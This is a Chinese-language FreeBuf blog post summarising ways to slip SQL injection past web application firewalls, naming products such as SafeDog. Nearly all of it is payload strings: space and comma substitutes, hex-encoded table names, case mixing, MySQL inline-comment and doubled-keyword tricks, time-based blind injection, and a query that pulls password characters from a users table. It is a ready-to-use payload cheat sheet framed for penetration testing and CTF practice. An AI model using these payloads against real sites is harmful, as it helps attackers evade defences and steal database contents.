freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

SQL绕过WAF总结
开冲 2022-04-23 09:20:45 171611
所属地 吉林省

前言

最近尝试了安全狗、安全卫士,并总结了SQL注入的WAF。如需补充,可在评论区添加。

特殊绕过

过滤空格

%20、%09、%0a %0b %0c %0d %a0 %00 /**/  /*!*/

空格被过滤,括号没被过滤,可以用括号

select(user())from dual where(1=1)and(2=2)

这类型的过滤方法用于time based盲注

id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

大小写绕过

waf绕过关键字select,使用Select
select * from tp_student where id=1 union select 1,2#
union select只能查询两个表中共同都有的字段,如果一个字段在另外一个表中没有,就会报错

过滤逗号

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:

select substr(database() from 1 for 1);
select mid(database() from 1 for 1);

使用join:

union select 1,2     #等价于
union select * from (select 1)a join (select 2)b

使用like:

select ascii(mid(user(),1,1))=80   #等价于
select user() like 'r%'

对于limit可以使用offset来绕过:

select * from news limit 0,1

等价于下面这条SQL语句

select * from news limit 1 offset 0

过滤引号

用到引号为最后的where子句

select column_name  from information_schema.tables where table_name="users"

用十六进制过滤,users的十六进制字符串是7573657273

select column_name  from information_schema.tables where table_name=0x7573657273

绕过union,select,where

1.常用注释符

//,-- , /**/, #, --+, -- -, ;,%00,--a

用法

U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user

2.使用大小写绕过

id=-1'UnIoN/**/SeLeCT

3.内联注释绕过

在安全狗apache4.0绕过
用到了版本特性,%23为#,%0a为换行符

当/* kali*/不会被执行
当 /*! 'kali' */就会被执行
xLSna.png

mysql特有的内联函数,kali会被执行
对应的,输入的字符小于版本号也会执行
xL04S.png
select * from /! %23kali%0a/username;
xLc6N.png~~~~

id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#

4.双关键字

id=-1'UNIunionONSeLselectECT1,2,3–-

5.绕狗

在安全狗apche3.5版本,对union select两个字段过滤,可以尝试
    union+distinct+select
    /*!%55NiOn*/ /*!%53eLEct*/
    %55nion(%53elect 1,2,3)--
    /**//*!12345UNION SELECT*//**/
    +#uNiOn+#sEleCt
    +un/**/ion+se/**/lect

其他

过滤or and xor not

and = &&
or = ||
xor = | # 异或
not = !

注释绕过

常见的注释符
-- 注释内容
# 注释内容
xLGCK.png

过滤=

使用like 、rlike 、regexp 或者 使用< 或者 >

通用绕过(编码)

URLEncode编码,ASCII,HEX,unicode编码

or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)

等价函数绕过

hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 

# 渗透测试 # 黑客 # web安全 # CTF
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 开冲 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
开冲 LV.5
这家伙太懒了,还未填写个人描述!
  • 18 文章数
  • 17 关注者
vulnstack靶场:ATT&CK攻击-1
2022-06-27
对Linux提权的简单总结[中]
2022-06-13
[VulnHub]hackdale:2靶场记录
2022-05-19
文章目录